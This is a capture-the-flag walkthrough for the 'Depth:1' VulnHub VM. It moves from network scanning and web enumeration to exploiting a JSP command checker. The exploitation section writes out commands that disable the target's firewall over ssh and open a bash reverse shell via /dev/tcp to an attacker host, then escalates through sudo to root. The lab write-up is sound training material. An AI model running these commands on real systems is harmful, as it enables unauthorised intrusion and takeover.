Hack the Depth VM (CTF Challenge)

Today we are going to take on a simple boot2root style VM challenge “Depth:1” by ‘Dan Lawson’. Here we have to root the server to complete the challenge.

Download it from here: https://download.vulnhub.com/depth/DepthB2R.ova

Difficulty: Intermediate

Penetrating Methodology:

Scanning

• Netdiscover
• NMAP

Enumeration

• Web Directory search 
• Credential harvesting

Exploiting

• Disable firewall through ssh
• Payload execution

Privilege Escalation

• Exploit sudo rights

Capture the Flag

Walkthrough

Scanning

Let’s start off by scanning the network and identifying host IPs. We can identify our host IP as 192.168.1.101 with the help of netdiscover. Next, port enumeration using nmap aggressive scan shows that port 8080 is open and is running http service of Apache Tomcat/Coyote JSP engine 1.1.

netdiscover

nmap  -A 192.168.1.101

Enumeration

We opened the IP into browser with port 8080. This gives a bit of useful information exposing the default Apache Tomcat’s directories

 Next, we are extracting the directories of jsp extension over the target, for that we can use the -X parameter of the dirb scan. Nikto result too shows the same file as you can see in the following screenshot:

dirb http://192.168.1.101:8080/ -X .jsp

nikto -h  http://192.168.1.101:8080/

 While opening the file in browser shows a file list checker script as a hint, which is supposed to list directories from the server upon request.

Upon executing the given script “ls-l/temp”, we can see user root and tomcat8 is there.

After trying few more scripts we get success by using ‘ls-l/home’ as  it shows us a user name bill.

 Here trying to find out running processes with “ps aux “, the options "aux" prints all the running process in system regardless from where they have been executed. And we find out that sshd service is in use but may be with restricted access.

Exploiting

let’s try to disable the firewall through ssh using user bill and it gets executed.

ssh bill@localhost sudo ufw disable

After that to gain reverse shell we first setup our netcat listener on port 1234 which you can see in last screenshot.
Then we are using bash reverse shell to gain access on host 192.168.1.110 on port 1234.

Msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.110 lport=1234 R

Copy the payload generated and execute it with ssh.

ssh bill@localhost 0<&46-;exec 46<>/dev/tcp/192.168.1.110/1234;sh <&46 >&46 2>&46

 Privilege Escalation and capturing the flag

As soon as we execute the payload, we get our reverse shell, now we just check sudo rights for bill and find that he has all permissions as well as he can login without any password. Great!  Now we just have to login and get into root folder. Here we get a file called flag.
Lastly, we open the flag file and capture the flag.
nc -lvp 1234
sudo -l
sudo su
cd /root
ls
cat flag